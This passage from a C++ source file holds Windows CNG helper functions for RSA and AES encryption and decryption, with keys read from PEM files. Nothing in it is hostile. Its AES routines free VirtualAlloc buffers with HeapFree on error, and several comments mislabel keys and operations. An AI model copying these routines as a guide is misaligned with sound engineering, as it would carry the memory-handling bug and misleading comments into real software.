210 | 		BCRYPT_RSA_ALGORITHM,
211 | 		NULL,
212 | 		0 );
213 | 
214 | 	bResult = ( Status == NO_ERROR );
215 | 	if( !bResult )
216 | 	{
217 | 		printf( __FUNCTION__ " -- BCryptOpenAlgorithmProvider failed 0x%X\n", Status );
218 | 		goto Exit;
219 | 	}
220 | 
221 | 	//
222 | 	// Read public key from disk
223 | 	//
224 | 	bResult = ReadFileToByteArray( RSA_PRIVATE_KEY_FILENAME, &pbKeyBuffer, &dwKeyBufferLen );
225 | 	if( !bResult )
226 | 	{
227 | 		printf( __FUNCTION__ " -- ReadFileToByteArray failed!\n" );
228 | 		goto Exit;
229 | 	}
230 | 
231 | 	//
232 | 	// Convert PEM to DER
233 | 	//
234 | 	bResult = ::CryptStringToBinaryA(
235 | 		( LPCSTR )pbKeyBuffer,
236 | 		0,
237 | 		CRYPT_STRING_BASE64HEADER,
238 | 		DERPrivKey,
239 | 		&DERPrivKeyLen,
240 | 		NULL,
241 | 		NULL );
242 | 
243 | 	if( !bResult )
244 | 	{
245 | 		printf( __FUNCTION__ " -- CryptStringToBinaryA failed 0x%X\n", ::GetLastError( ) );
246 | 		goto Exit;
247 | 	}
248 | 
249 | 	//
250 | 	// Import RSA Public Key
251 | 	//
252 | 	bResult = ::BCryptImportPrivateKey( hProvider, DERPrivKey, DERPrivKeyLen, &hKey );
253 | 	if( !bResult )
254 | 	{
255 | 		printf( __FUNCTION__ " -- BCryptImportKeyPair failed!\n" );
256 | 		goto Exit;
257 | 	}
258 | 
259 | 	//
260 | 	// Get Required encrypted buffer length
261 | 	//
262 | 	Status = ::BCryptDecrypt(
263 | 		hKey,
264 | 		pbInputData,
265 | 		dwInputDataSize,
266 | 		NULL,
267 | 		NULL,
268 | 		0,
269 | 		NULL,
270 | 		0,
271 | 		dwDecryptedBufferLen,
272 | 		BCRYPT_PAD_PKCS1 );
273 | 
274 | 	bResult = ( Status == NO_ERROR );
275 | 	if( !bResult )
276 | 	{
277 | 		printf( __FUNCTION__ " -- BCryptDecrypt failed 0x%X\n", Status );
278 | 		goto Exit;
279 | 	}
280 | 
281 | 	//
282 | 	// Allocate buffer for output ciphertext, HeapAlloc is used because RSA block sizes are not huge
283 | 	//
284 | 	*lpDecryptedBuffer = ( PBYTE )::HeapAlloc( ::GetProcessHeap( ), HEAP_ZERO_MEMORY, *dwDecryptedBufferLen );
285 | 
286 | 	bResult = ( *lpDecryptedBuffer != nullptr );
287 | 	if( !bResult )
288 | 	{
289 | 		printf( __FUNCTION__ " -- HeapAlloc failed %d\n", ::GetLastError( ) );
290 | 		goto Exit;
291 | 	}
292 | 
293 | 	//
294 | 	// Perform encryption
295 | 	//
296 | 	Status = ::BCryptDecrypt(
297 | 		hKey,
298 | 		pbInputData,
299 | 		dwInputDataSize,
300 | 		NULL,
301 | 		NULL,
302 | 		0,
303 | 		*lpDecryptedBuffer,
304 | 		*dwDecryptedBufferLen,
305 | 		dwDecryptedBufferLen,
306 | 		BCRYPT_PAD_PKCS1 );
307 | 
308 | 	bResult = ( Status == NO_ERROR );
309 | 	if( !bResult )
310 | 	{
311 | 		//
312 | 		// Since we're returning FALSE we wanna release the heap buffer here.
313 | 		//
314 | 		::HeapFree( ::GetProcessHeap( ), 0, *lpDecryptedBuffer );
315 | 		*lpDecryptedBuffer = nullptr;
316 | 
317 | 		printf( __FUNCTION__ " -- BCryptDecrypt failed 0x%X\n", Status );
318 | 		goto Exit;
319 | 	}
320 | 
321 | Exit:
322 | 	if( DERPrivKey )
323 | 		::LocalFree( DERPrivKey );
324 | 
325 | 	if( pbKeyBuffer )
326 | 		::VirtualFree( pbKeyBuffer, 0, MEM_RELEASE );
327 | 
328 | 	if( hKey )
329 | 		::BCryptDestroyKey( hKey );
330 | 
331 | 	if( hProvider )
332 | 		::BCryptCloseAlgorithmProvider( hProvider, 0 );
333 | 
334 | 	return bResult;
335 | }
336 | 
337 | BOOL RSAEncrypt( PBYTE pbInputData, DWORD dwInputDataSize, PBYTE* lpEncryptedBuffer, PDWORD dwEncryptedBufferLen )
338 | {
339 | 	NTSTATUS Status = NO_ERROR;
340 | 	BOOL bResult = FALSE;
341 | 
342 | 	if( !pbInputData || dwInputDataSize <= 0 || !lpEncryptedBuffer || !dwEncryptedBufferLen )
343 | 	{
344 | 		printf( __FUNCTION__ " -- Invalid params!\n" );
345 | 		return FALSE;
346 | 	}
347 | 
348 | 	BCRYPT_ALG_HANDLE hProvider = NULL;
349 | 	BCRYPT_KEY_HANDLE hKey = NULL;
350 | 
351 | 	LPBYTE pbKeyBuffer = nullptr;
352 | 	DWORD dwKeyBufferLen = 0;
353 | 
354 | 	BYTE DERPubKey[ 2048 ]{ };
355 | 	DWORD DERPubKeyLen = sizeof( DERPubKey );
356 | 
357 | 	//
358 | 	// Open the RSA crypto provider
359 | 	//
360 | 	Status = ::BCryptOpenAlgorithmProvider(
361 | 		&hProvider,
362 | 		BCRYPT_RSA_ALGORITHM,
363 | 		NULL,
364 | 		0 );
365 | 
366 | 	bResult = ( Status == NO_ERROR );
367 | 	if( !bResult )
368 | 	{
369 | 		printf( __FUNCTION__ " -- BCryptOpenAlgorithmProvider failed 0x%X\n", Status );
370 | 		goto Exit;
371 | 	}
372 | 
373 | 	//
374 | 	// Read public key from disk
375 | 	//
376 | 	bResult = ReadFileToByteArray( RSA_PUBLIC_KEY_FILENAME, &pbKeyBuffer, &dwKeyBufferLen );
377 | 	if( !bResult )
378 | 	{
379 | 		printf( __FUNCTION__ " -- ReadFileToByteArray failed!\n" );
380 | 		goto Exit;
381 | 	}
382 | 
383 | 	//
384 | 	// Convert PEM to DER
385 | 	//
386 | 	bResult = ::CryptStringToBinaryA( ( LPCSTR )pbKeyBuffer,
387 | 		0,
388 | 		CRYPT_STRING_BASE64HEADER,
389 | 		DERPubKey,
390 | 		&DERPubKeyLen,
391 | 		NULL,
392 | 		NULL );
393 | 
394 | 	if( !bResult )
395 | 	{
396 | 		printf( __FUNCTION__ " -- CryptStringToBinaryA failed 0x%X\n", ::GetLastError( ) );
397 | 		goto Exit;
398 | 	}
399 | 
400 | 	//
401 | 	// Import AES Public Key
402 | 	//
403 | 	bResult = BCryptImportPublicKey( hProvider, DERPubKey, DERPubKeyLen, &hKey );
404 | 	if( !bResult )
405 | 	{
406 | 		printf( __FUNCTION__ " -- BCryptImportKeyPair failed!\n" );
407 | 		goto Exit;
408 | 	}
409 | 
410 | 	//
411 | 	// Get Required encrypted buffer length
412 | 	//
413 | 	Status = ::BCryptEncrypt(
414 | 		hKey,
415 | 		pbInputData,
416 | 		dwInputDataSize,
417 | 		NULL,
418 | 		NULL,
419 | 		0,
420 | 		NULL,
421 | 		0,
422 | 		dwEncryptedBufferLen,
423 | 		BCRYPT_PAD_PKCS1 );
424 | 
425 | 	bResult = ( Status == NO_ERROR );
426 | 	if( !bResult )
427 | 	{
428 | 		printf( __FUNCTION__ " -- BCryptEncrypt failed 0x%X\n", Status );
429 | 		goto Exit;
430 | 	}
431 | 
432 | 	//
433 | 	// Allocate buffer for output ciphertext, HeapAlloc is used because RSA block sizes are not huge
434 | 	//
435 | 	*lpEncryptedBuffer = ( PBYTE )::HeapAlloc( ::GetProcessHeap( ), HEAP_ZERO_MEMORY, *dwEncryptedBufferLen );
436 | 
437 | 	bResult = ( *lpEncryptedBuffer != nullptr );
438 | 	if( !bResult )
439 | 	{
440 | 		printf( __FUNCTION__ " -- HeapAlloc failed %d\n", ::GetLastError( ) );
441 | 		goto Exit;
442 | 	}
443 | 
444 | 	//
445 | 	// Perform encryption
446 | 	//
447 | 	Status = ::BCryptEncrypt(
448 | 		hKey,
449 | 		pbInputData,
450 | 		dwInputDataSize,
451 | 		NULL,
452 | 		NULL,
453 | 		0,
454 | 		*lpEncryptedBuffer,
455 | 		*dwEncryptedBufferLen,
456 | 		dwEncryptedBufferLen,
457 | 		BCRYPT_PAD_PKCS1 );
458 | 
459 | 	bResult = ( Status == NO_ERROR );
460 | 	if( !bResult )
461 | 	{
462 | 		//
463 | 		// Since we're returning FALSE we wanna release the heap buffer here.
464 | 		//
465 | 		::HeapFree( ::GetProcessHeap( ), 0, *lpEncryptedBuffer );
466 | 		*lpEncryptedBuffer = nullptr;
467 | 
468 | 		printf( __FUNCTION__ " -- BCryptEncrypt failed 0x%X\n", Status );
469 | 		goto Exit;
470 | 	}
471 | 
472 | Exit:
473 | 	if( pbKeyBuffer )
474 | 		::VirtualFree( pbKeyBuffer, 0, MEM_RELEASE );
475 | 
476 | 	if( hKey )
477 | 		::BCryptDestroyKey( hKey );
478 | 
479 | 	if( hProvider )
480 | 		::BCryptCloseAlgorithmProvider( hProvider, 0 );
481 | 
482 | 	return bResult;
483 | }
484 | 
485 | BOOL AESEncrypt( PBYTE pbInputData, DWORD dwInputDataSize, PBYTE pbKey, DWORD dwKeyLen, PBYTE pbIV, DWORD dwIVLen, PBYTE* lpEncryptedBuffer, PDWORD dwEncryptedBufferLen )
486 | {
487 | 	NTSTATUS Status = NO_ERROR;
488 | 	BOOL bResult = FALSE;
489 | 
490 | 	if( !pbInputData || dwInputDataSize <= 0 || !lpEncryptedBuffer || !dwEncryptedBufferLen )
491 | 	{
492 | 		printf( __FUNCTION__ " -- Invalid params!\n" );
493 | 		return FALSE;
494 | 	}
495 | 
496 | 	BCRYPT_ALG_HANDLE hProvider = NULL;
497 | 	BCRYPT_KEY_HANDLE hKey = NULL;
498 | 
499 | 	BYTE TempInitVector[ 16 ]{ };
500 | 	memcpy( TempInitVector, pbIV, dwIVLen );
501 | 
502 | 	//
503 | 	// Open Crypto Provider for AES
504 | 	//
505 | 	Status = ::BCryptOpenAlgorithmProvider(
506 | 		&hProvider,
507 | 		BCRYPT_AES_ALGORITHM,
508 | 		NULL,
509 | 		0 );
510 | 
511 | 	bResult = ( Status == NO_ERROR );
512 | 	if( !bResult )
513 | 	{
514 | 		printf( __FUNCTION__ " -- BCryptOpenAlgorithmProvider failed 0x%X\n", Status );
515 | 		goto Exit;
516 | 	}
517 | 
518 | 	//
519 | 	// Set the encryption key
520 | 	//
521 | 	Status = ::BCryptGenerateSymmetricKey(
522 | 		hProvider,
523 | 		&hKey,
524 | 		NULL,
525 | 		0,
526 | 		pbKey,
527 | 		dwKeyLen,
528 | 		0 );
529 | 
530 | 	bResult = ( Status == NO_ERROR );
531 | 	if( !bResult )
532 | 	{
533 | 		printf( __FUNCTION__ " -- BCryptGenerateSymmetricKey failed 0x%X\n", Status );
534 | 		goto Exit;
535 | 	}
536 | 
537 | 	//
538 | 	// Get Required encrypted buffer length
539 | 	//
540 | 	Status = ::BCryptEncrypt(
541 | 		hKey,
542 | 		pbInputData,
543 | 		dwInputDataSize,
544 | 		NULL,
545 | 		TempInitVector,
546 | 		dwIVLen,
547 | 		NULL,
548 | 		0,
549 | 		dwEncryptedBufferLen,
550 | 		BCRYPT_BLOCK_PADDING );
551 | 
552 | 	bResult = ( Status == NO_ERROR );
553 | 	if( !bResult )
554 | 	{
555 | 		printf( __FUNCTION__ " -- BCryptEncrypt failed 0x%X\n", Status );
556 | 		goto Exit;
557 | 	}
558 | 
559 | 	//
560 | 	// Allocate buffer for output ciphertext, VirtualAlloc will be used because we may store huge data
561 | 	//
562 | 	*lpEncryptedBuffer = ( PBYTE )::VirtualAlloc( nullptr, *dwEncryptedBufferLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE );
563 | 
564 | 	bResult = ( *lpEncryptedBuffer != nullptr );
565 | 	if( !bResult )
566 | 	{
567 | 		printf( __FUNCTION__ " -- VirtualAlloc failed %d\n", ::GetLastError( ) );
568 | 		goto Exit;
569 | 	}
570 | 
571 | 	//
572 | 	// Perform encryption
573 | 	//
574 | 	Status = ::BCryptEncrypt(
575 | 		hKey,
576 | 		pbInputData,
577 | 		dwInputDataSize,
578 | 		NULL,
579 | 		TempInitVector,
580 | 		dwIVLen,
581 | 		*lpEncryptedBuffer,
582 | 		*dwEncryptedBufferLen,
583 | 		dwEncryptedBufferLen,
584 | 		BCRYPT_BLOCK_PADDING );
585 | 
586 | 	bResult = ( Status == NO_ERROR );
587 | 	if( !bResult )
588 | 	{
589 | 		//
590 | 		// Since we're returning FALSE we wanna release the heap buffer here.
591 | 		//
592 | 		::HeapFree( ::GetProcessHeap( ), 0, *lpEncryptedBuffer );
593 | 		*lpEncryptedBuffer = nullptr;
594 | 
595 | 		printf( __FUNCTION__ " -- BCryptEncrypt failed 0x%X\n", Status );
596 | 		goto Exit;
597 | 	}
598 | 
599 | Exit:
600 | 	if( hKey )
601 | 		::BCryptDestroyKey( hKey );
602 | 
603 | 	if( hProvider )
604 | 		::BCryptCloseAlgorithmProvider( hProvider, 0 );
605 | 
606 | 	return bResult;
607 | }
608 | 
609 | BOOL AESDecrypt( PBYTE pbInputData, DWORD dwInputDataSize, PBYTE pbKey, DWORD dwKeyLen, PBYTE pbIV, DWORD dwIVLen, PBYTE* lpDecryptedBuffer, PDWORD dwDecryptedBufferLen )
610 | {
611 | 	NTSTATUS Status = NO_ERROR;
612 | 	BOOL bResult = FALSE;
613 | 
614 | 	if( !pbInputData || dwInputDataSize <= 0 || !lpDecryptedBuffer || !dwDecryptedBufferLen )
615 | 	{
616 | 		printf( __FUNCTION__ " -- Invalid params!\n" );
617 | 		return FALSE;
618 | 	}
619 | 
620 | 	BCRYPT_ALG_HANDLE hProvider = NULL;
621 | 	BCRYPT_KEY_HANDLE hKey = NULL;
622 | 
623 | 	BYTE TempInitVector[ 16 ]{ };
624 | 	memcpy( TempInitVector, pbIV, dwIVLen );
625 | 
626 | 	//
627 | 	// Open Crypto Provider for AES
628 | 	//
629 | 	Status = ::BCryptOpenAlgorithmProvider(
630 | 		&hProvider,
631 | 		BCRYPT_AES_ALGORITHM,
632 | 		NULL,
633 | 		0 );
634 | 
635 | 	bResult = ( Status == NO_ERROR );
636 | 	if( !bResult )
637 | 	{
638 | 		printf( __FUNCTION__ " -- BCryptOpenAlgorithmProvider failed 0x%X\n", Status );
639 | 		goto Exit;
640 | 	}
641 | 
642 | 	//
643 | 	// Set the encryption key
644 | 	//
645 | 	Status = ::BCryptGenerateSymmetricKey(
646 | 		hProvider,
647 | 		&hKey,
648 | 		NULL,
649 | 		0,
650 | 		pbKey,
651 | 		dwKeyLen,
652 | 		0 );
653 | 
654 | 	bResult = ( Status == NO_ERROR );
655 | 	if( !bResult )
656 | 	{
657 | 		printf( __FUNCTION__ " -- BCryptGenerateSymmetricKey failed 0x%X\n", Status );
658 | 		goto Exit;
659 | 	}
660 | 
661 | 	//
662 | 	// Get Required encrypted buffer length
663 | 	//
664 | 	Status = ::BCryptDecrypt(
665 | 		hKey,
666 | 		pbInputData,
667 | 		dwInputDataSize,
668 | 		NULL,
669 | 		TempInitVector,
670 | 		dwIVLen,
671 | 		NULL,
672 | 		0,
673 | 		dwDecryptedBufferLen,
674 | 		BCRYPT_BLOCK_PADDING );
675 | 
676 | 	bResult = ( Status == NO_ERROR );
677 | 	if( !bResult )
678 | 	{
679 | 		printf( __FUNCTION__ " -- BCryptDecrypt failed 0x%X\n", Status );
680 | 		goto Exit;
681 | 	}
682 | 
683 | 	//
684 | 	// Allocate buffer for output ciphertext, VirtualAlloc will be used because we may store huge data
685 | 	//
686 | 	*lpDecryptedBuffer = ( PBYTE )::VirtualAlloc( nullptr, *dwDecryptedBufferLen, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE );
687 | 
688 | 	bResult = ( *lpDecryptedBuffer != nullptr );
689 | 	if( !bResult )
690 | 	{
691 | 		printf( __FUNCTION__ " -- VirtualAlloc failed %d\n", ::GetLastError( ) );
692 | 		goto Exit;
693 | 	}
694 | 
695 | 	//
696 | 	// Perform encryption
697 | 	//
698 | 	Status = ::BCryptDecrypt(
699 | 		hKey,
700 | 		pbInputData,
701 | 		dwInputDataSize,
702 | 		NULL,
703 | 		TempInitVector,
704 | 		dwIVLen,
705 | 		*lpDecryptedBuffer,
706 | 		*dwDecryptedBufferLen,
707 | 		dwDecryptedBufferLen,
708 | 		BCRYPT_BLOCK_PADDING );
709 | 
710 | 	bResult = ( Status == NO_ERROR );
711 | 	if( !bResult )
712 | 	{
713 | 		//
714 | 		// Since we're returning FALSE we wanna release the heap buffer here.
715 | 		//
716 | 		::HeapFree( ::GetProcessHeap( ), 0, *lpDecryptedBuffer );
717 | 		*lpDecryptedBuffer = nullptr;
718 | 
719 | 		printf( __FUNCTION__ " -- BCryptDecrypt failed 0x%X\n", Status );
720 | 		goto Exit;
721 | 	}
722 | 
723 | Exit:
724 | 	if( hKey )
725 | 		::BCryptDestroyKey( hKey );
726 | 
727 | 	if( hProvider )
728 | 		::BCryptCloseAlgorithmProvider( hProvider, 0 );
729 | 
730 | 	return bResult;
731 | }


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